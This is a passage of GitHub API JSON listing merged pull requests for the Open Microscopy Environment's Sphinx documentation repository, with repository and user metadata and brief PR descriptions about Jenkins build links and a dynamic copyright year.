","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"da6d9e295c41764d7c743b4e7edd286a81262249","ref":"rebased/develop/jenkins_testing"},"assignee":null,"updated_at":"2013-01-18T12:14:04Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/217/commits","closed_at":"2013-01-18T12:14:04Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/217","merged_at":"2013-01-18T12:14:04Z","merge_commit_sha":"286311c7e778e5965ae34b06b06ba981073e6926","created_at":"2013-01-18T07:50:09Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/217/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/217.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/217","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-216 but rebased onto develop.\n\n----\n\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/217.diff","id":3734536,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"dd7e4e54f700f8e7c1ddf4933bacf5d07016ac5b","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/216"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216/comments"}},"title":"Replace lastSuccessfulBuild by lastBuild","state":"closed","number":216,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:jenkins_testing","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"adcc80e6b418175aa1594dff143e9009e8e9bbd5","ref":"jenkins_testing"},"assignee":null,"updated_at":"2013-01-21T11:59:23Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/216/commits","closed_at":"2013-01-18T12:14:16Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/216","merged_at":"2013-01-18T12:14:16Z","merge_commit_sha":"d8ba7dc891c192be315161b817cca16406b7092c","created_at":"2013-01-18T07:49:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/216/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/216.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/216","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/216.diff","id":3734532,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1843d7a435646ed07dd56821b5d9ba02105cd716","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/215"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215/comments"}},"title":"Make the copyright date the current year","state":"closed","number":215,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:doc-date","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"9554b121b7e3866499f060b0fc4502a9e9beb6e2","ref":"doc-date"},"assignee":null,"updated_at":"2013-01-17T20:41:17Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/215/commits","closed_at":"2013-01-17T20:41:16Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/215","merged_at":"2013-01-17T20:41:16Z","merge_commit_sha":"f2564d40dbb22e517a4044acc664c125b4f78316","created_at":"2013-01-17T15:25:59Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/215/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/215.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/215","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"As @hflynn noticed, the date in the documentation footer was a static string. With this PR it'll be formatted to the current year in which the docs have been built (depending on the settings of the build system).","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/215.diff","id":3721230,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https:/